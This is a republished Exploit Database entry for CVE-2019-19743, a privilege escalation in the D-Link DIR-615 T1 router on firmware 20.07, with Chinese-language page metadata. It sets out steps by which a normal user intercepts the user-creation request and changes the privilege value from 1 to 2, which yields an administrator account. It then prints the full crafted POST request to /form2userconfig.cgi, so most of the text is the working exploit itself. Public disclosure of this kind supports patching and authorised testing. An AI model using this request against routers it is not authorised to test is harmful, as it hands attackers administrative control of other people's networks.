D-Link DIR-615 – Privilege Escalation

• Exploit Database
• 32 阅读

• 作者： Sanyam Chawla
  日期： 2019-12-16
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/47778/

• # Exploit Title: D-Link DIR-615 - Privilege Escalation
  # Date: 2019-12-10
  # Exploit Author: Sanyam Chawla
  # Vendor Homepage: http://www.dlink.co.in
  # Category: Hardware (Wi-fi Router)
  # Hardware Link: http://www.dlink.co.in/products/?pid=678
  # Hardware Version: T1
  # Firmware Version: 20.07
  # Tested on: Windows 10 and Kali linux
  # CVE: CVE-2019-19743
  
  # Reproduction Steps:
  # Login to your wi-fi router gateway with normal user credentials [i.e: http://192.168.0.1]
  # Go to the Maintenance page and click on Admin on the left panel.
  # There is an option to create a user and by default, it shows only user accounts.
  # Create an account with a name(i.e ptguy) and change the privileges from user to root(admin) 
  # by changing privileges id (1 to 2) with burp suite.
  
  # Privilege Escalation Post Request 
  
  POST /form2userconfig.cgi HTTP/1.1
  Host: 192.168.0.1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 122
  Origin: http://192.168.0.1
  Connection: close
  Referer: http://192.168.0.1/userconfig.htm
  Cookie: SessionID=
  Upgrade-Insecure-Requests: 1
  
  username=ptguy&privilege=2&newpass=pentesting&confpass=pentesting&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=Send
  
  # Now log in with newly created root (ptguy) user. You have all administrator rights.